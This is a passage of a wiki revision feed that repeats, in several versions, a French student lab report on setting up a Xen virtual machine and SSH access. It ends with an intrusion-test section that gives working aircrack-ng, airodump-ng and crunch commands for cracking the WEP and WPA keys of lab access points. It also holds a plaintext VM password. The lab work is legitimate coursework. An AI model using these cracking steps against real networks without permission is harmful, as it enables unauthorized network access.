&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56747</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56747"/>
				<updated>2021-11-29T18:21:07Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Configuration de la VM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56735</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56735"/>
				<updated>2021-11-29T18:04:56Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56693</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56693"/>
				<updated>2021-11-29T17:29:12Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Test d'intrusion */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	</feed>